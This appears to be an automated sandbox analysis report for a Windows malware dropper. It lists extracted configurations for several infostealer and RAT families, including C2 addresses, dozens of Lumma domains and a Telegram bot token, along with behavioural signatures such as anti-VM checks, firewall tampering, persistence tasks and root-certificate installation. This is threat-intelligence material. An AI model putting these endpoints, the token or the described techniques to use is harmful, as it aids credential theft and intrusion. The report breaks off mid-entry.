Analysis
-
max time kernel
114s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 05:54
Static task
static1
Behavioral task
behavioral1
Sample
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe
Resource
win10v2004-20240426-en
General
-
Target
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe
-
Size
1.9MB
-
MD5
9def9faee1aeb87f76ffc55e189d4b1c
-
SHA1
0d927292273bdd70b14a1e86b5c81e22ba42ddbf
-
SHA256
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05
-
SHA512
9829197ae8ffc07b559737c9b868c59f2f8932fda1049ce162bcf2f028a03f4b278dffe3ca8a3976ec53b9b5403db06a77b45b7c30020f98c46829792085e3ac
-
SSDEEP
49152:ZOyNbOa0ozO3pNtrA3WN64LLoMdovfCfRBS6VAn:ZOyhO9GOZNtrKj4fHovfCfjZVAn
Malware Config
Extracted
amadey
4.17
http://193.233.132.167
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
Test1234
185.215.113.67:26260
Extracted
stealc
http://52.143.157.84
http://185.172.128.62
-
url_path
/c73eed764cc59dcb.php
Extracted
xworm
5.0
127.0.0.1:7000
91.92.252.220:7000
41.199.23.195:7000
saveclinetsforme68465454711991.publicvm.com:7000
bBT8anvIxhxDFmkf
-
Install_directory
%AppData%
-
install_file
explorer.exe
-
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672
Extracted
lumma
https://affordcharmcropwo.shop/api
https://cleartotalfisherwo.shop/api
https://worryfillvolcawoi.shop/api
https://enthusiasimtitleow.shop/api
https://dismissalcylinderhostw.shop/api
https://diskretainvigorousiw.shop/api
https://communicationgenerwo.shop/api
https://productivelookewr.shop/api
https://pillowbrocccolipe.shop/api
https://tolerateilusidjukl.shop/api
https://shatterbreathepsw.shop/api
https://shortsvelventysjo.shop/api
https://incredibleextedwj.shop/api
https://alcojoldwograpciw.shop/api
https://liabilitynighstjsko.shop/api
https://demonstationfukewko.shop/api
https://palmeventeryjusk.shop/api
https://entitlementappwo.shop/api
https://economicscreateojsu.shop/api
https://pushjellysingeywus.shop/api
https://absentconvicsjawun.shop/api
https://suitcaseacanehalk.shop/api
https://bordersoarmanusjuw.shop/api
https://mealplayerpreceodsju.shop/api
https://wifeplasterbakewis.shop/api
Signatures
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe family_xworm behavioral1/memory/2908-499-0x0000000000760000-0x0000000000772000-memory.dmp family_xworm -
Detect ZGRat V1 6 IoCs
Processes:
resource yara_rule behavioral1/memory/1604-77-0x0000000000400000-0x0000000000592000-memory.dmp family_zgrat_v1 C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_zgrat_v1 behavioral1/memory/4912-136-0x0000000000010000-0x00000000000D0000-memory.dmp family_zgrat_v1 behavioral1/memory/3788-1083-0x0000026200A50000-0x0000026204348000-memory.dmp family_zgrat_v1 behavioral1/memory/3788-1104-0x000002621EC40000-0x000002621ED50000-memory.dmp family_zgrat_v1 behavioral1/memory/3788-1109-0x000002621E9D0000-0x000002621E9F4000-memory.dmp family_zgrat_v1 -
Glupteba payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/888-775-0x0000000000400000-0x0000000001DFC000-memory.dmp family_glupteba behavioral1/memory/888-991-0x0000000000400000-0x0000000001DFC000-memory.dmp family_glupteba behavioral1/memory/4368-992-0x0000000000400000-0x0000000001DFC000-memory.dmp family_glupteba -
Modifies firewall policy service 2 TTPs 1 IoCs
Processes:
vP5JeKYCrOMeu9rT7jfsMXod.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" vP5JeKYCrOMeu9rT7jfsMXod.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_redline C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe family_redline behavioral1/memory/5004-113-0x00000000007F0000-0x0000000000842000-memory.dmp family_redline behavioral1/memory/4912-136-0x0000000000010000-0x00000000000D0000-memory.dmp family_redline C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe family_redline behavioral1/memory/868-200-0x0000000000410000-0x0000000000462000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/6092-1102-0x0000000000F00000-0x0000000000FC6000-memory.dmp family_sectoprat -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
Processes:
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exechrosha.exevP5JeKYCrOMeu9rT7jfsMXod.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ chrosha.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ vP5JeKYCrOMeu9rT7jfsMXod.exe -
Blocklisted process makes network request 3 IoCs
Processes:
rundll32.exerundll32.exeu1wk.0.exeflow pid process 140 2980 rundll32.exe 167 5440 rundll32.exe 232 2216 u1wk.0.exe -
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 3 IoCs
Processes:
netsh.exenetsh.exenetsh.exepid process 5808 netsh.exe 2468 netsh.exe 5300 netsh.exe -
Checks BIOS information in registry 2 TTPs 7 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
chrosha.exevP5JeKYCrOMeu9rT7jfsMXod.exeInstall.exe674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion vP5JeKYCrOMeu9rT7jfsMXod.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion vP5JeKYCrOMeu9rT7jfsMXod.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion chrosha.exe -
Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
chrosha.exeRegAsm.exeNewB.exeISetup8.exeL3tHdSrcFlJd3MDe0CNF5QOs.exemstc.exeInstall.exeu1wk.3.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation chrosha.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation RegAsm.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation NewB.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation ISetup8.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation L3tHdSrcFlJd3MDe0CNF5QOs.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mstc.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation u1wk.3.exe -
Executes dropped EXE 39 IoCs
Processes:
chrosha.exeswiiiii.exealexxxxxxxx.exetrf.exekeks.exegold.exeNewB.exeISetup8.exejok.exeswiiii.exetoolspub1.exelie.exeu1wk.0.exefile300un.exe4767d2e713f2021e8fe856e3ea638b58.exemstc.exerun.exeL3tHdSrcFlJd3MDe0CNF5QOs.exeggbvlCTOwbbCKfy4BP0BUMXB.exe6OUqpe00GEJPnrZXJ5I17ebQ.exeu1wk.3.exeuas.0.exeQdRCxV8vno2BVMxivZpBevEi.exerun.exeInstall.exevP5JeKYCrOMeu9rT7jfsMXod.exeiRXLxGDD3aFVJn22DPb2NtuN.exeuas.3.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeAssistant_109.0.5097.45_Setup.exe_sfx.exeassistant_installer.exeassistant_installer.exeInstall.exe4767d2e713f2021e8fe856e3ea638b58.exe6OUqpe00GEJPnrZXJ5I17ebQ.exeggbvlCTOwbbCKfy4BP0BUMXB.exepid process 2880 chrosha.exe 4936 swiiiii.exe 4544 alexxxxxxxx.exe 4912 trf.exe 5004 keks.exe 2216 gold.exe 2028 NewB.exe 2468 ISetup8.exe 868 jok.exe 2424 swiiii.exe 2992 toolspub1.exe 1488 lie.exe 2216 u1wk.0.exe 4844 file300un.exe 888 4767d2e713f2021e8fe856e3ea638b58.exe 2908 mstc.exe 2316 run.exe 388 L3tHdSrcFlJd3MDe0CNF5QOs.exe 4368 ggbvlCTOwbbCKfy4BP0BUMXB.exe 3860 6OUqpe00GEJPnrZXJ5I17ebQ.exe 2140 u1wk.3.exe 4396 uas.0.exe 5304 QdRCxV8vno2BVMxivZpBevEi.exe 5276 run.exe 5532 Install.exe 5920 vP5JeKYCrOMeu9rT7jfsMXod.exe 6044 iRXLxGDD3aFVJn22DPb2NtuN.exe 6104 uas.3.exe 6140 iRXLxGDD3aFVJn22DPb2NtuN.exe 424 iRXLxGDD3aFVJn22DPb2NtuN.exe 2424 iRXLxGDD3aFVJn22DPb2NtuN.exe 4312 iRXLxGDD3aFVJn22DPb2NtuN.exe 5452 Assistant_109.0.5097.45_Setup.exe_sfx.exe 4756 assistant_installer.exe 2828 assistant_installer.exe 2096 Install.exe 2820 4767d2e713f2021e8fe856e3ea638b58.exe 4944 6OUqpe00GEJPnrZXJ5I17ebQ.exe 5892 ggbvlCTOwbbCKfy4BP0BUMXB.exe -
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
Processes:
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exechrosha.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Wine 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe Key opened \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Wine chrosha.exe -
Loads dropped DLL 18 IoCs
Processes:
rundll32.exerundll32.exerun.exeRegAsm.exerundll32.exerun.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exeassistant_installer.exeassistant_installer.exeuas.0.exepid process 4392 rundll32.exe 2980 rundll32.exe 2316 run.exe 2928 RegAsm.exe 2928 RegAsm.exe 5440 rundll32.exe 5276 run.exe 6044 iRXLxGDD3aFVJn22DPb2NtuN.exe 6140 iRXLxGDD3aFVJn22DPb2NtuN.exe 424 iRXLxGDD3aFVJn22DPb2NtuN.exe 2424 iRXLxGDD3aFVJn22DPb2NtuN.exe 4312 iRXLxGDD3aFVJn22DPb2NtuN.exe 4756 assistant_installer.exe 4756 assistant_installer.exe 2828 assistant_installer.exe 2828 assistant_installer.exe 4396 uas.0.exe 4396 uas.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Pictures\vP5JeKYCrOMeu9rT7jfsMXod.exe themida behavioral1/memory/5920-824-0x0000000140000000-0x000000014072B000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
vP5JeKYCrOMeu9rT7jfsMXod.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vP5JeKYCrOMeu9rT7jfsMXod.exe -
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
iRXLxGDD3aFVJn22DPb2NtuN.exeiRXLxGDD3aFVJn22DPb2NtuN.exedescription ioc process File opened (read-only) \??\D: iRXLxGDD3aFVJn22DPb2NtuN.exe File opened (read-only) \??\F: iRXLxGDD3aFVJn22DPb2NtuN.exe File opened (read-only) \??\D: iRXLxGDD3aFVJn22DPb2NtuN.exe File opened (read-only) \??\F: iRXLxGDD3aFVJn22DPb2NtuN.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 189 api.myip.com 192 ipinfo.io 194 ipinfo.io 154 ip-api.com 185 api.myip.com -
Drops file in System32 directory 4 IoCs
Processes:
vP5JeKYCrOMeu9rT7jfsMXod.exedescription ioc process File opened for modification C:\Windows\System32\GroupPolicy vP5JeKYCrOMeu9rT7jfsMXod.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini vP5JeKYCrOMeu9rT7jfsMXod.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol vP5JeKYCrOMeu9rT7jfsMXod.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI vP5JeKYCrOMeu9rT7jfsMXod.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exechrosha.exevP5JeKYCrOMeu9rT7jfsMXod.exepid process 3536 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe 2880 chrosha.exe 5920 vP5JeKYCrOMeu9rT7jfsMXod.exe -
Suspicious use of SetThreadContext 9 IoCs
Processes:
swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exerun.exerun.execmd.execmd.exedescription pid process target process PID 4936 set thread context of 3176 4936 swiiiii.exe RegAsm.exe PID 4544 set thread context of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 2216 set thread context of 2652 2216 gold.exe RegAsm.exe PID 2424 set thread context of 2928 2424 swiiii.exe RegAsm.exe PID 4844 set thread context of 3528 4844 file300un.exe CasPol.exe PID 2316 set thread context of 1300 2316 run.exe cmd.exe PID 5276 set thread context of 5780 5276 run.exe cmd.exe PID 1300 set thread context of 6092 1300 cmd.exe MSBuild.exe PID 5780 set thread context of 5140 5780 cmd.exe reg.exe -
Drops file in Windows directory 2 IoCs
Processes:
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\chrosha.job 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe File created C:\Windows\Tasks\biPxHmULFllsbMgnpt.job schtasks.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 5208 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 8 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3788 4936 WerFault.exe swiiiii.exe 4336 4544 WerFault.exe alexxxxxxxx.exe 2148 2216 WerFault.exe gold.exe 8 2992 WerFault.exe toolspub1.exe 5016 2468 WerFault.exe ISetup8.exe 4760 388 WerFault.exe L3tHdSrcFlJd3MDe0CNF5QOs.exe 508 4396 WerFault.exe uas.0.exe 2352 2216 WerFault.exe u1wk.0.exe -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
u1wk.3.exeuas.3.exetoolspub1.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1wk.3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uas.3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1wk.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uas.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1wk.3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uas.3.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RegAsm.exeuas.0.exeu1wk.0.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 uas.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString uas.0.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u1wk.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u1wk.0.exe -
Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2548 schtasks.exe 1400 schtasks.exe 5240 schtasks.exe 5396 schtasks.exe 5636 schtasks.exe 5136 schtasks.exe 6028 schtasks.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
Install.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 50 IoCs
Processes:
Install.exepowershell.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936db0000006024b221ea3a6910a2dc08002b30309dfa000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936db0000006024b221ea3a6910a2dc08002b30309dac000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Processes:
keks.exeiRXLxGDD3aFVJn22DPb2NtuN.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 keks.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 keks.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 iRXLxGDD3aFVJn22DPb2NtuN.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 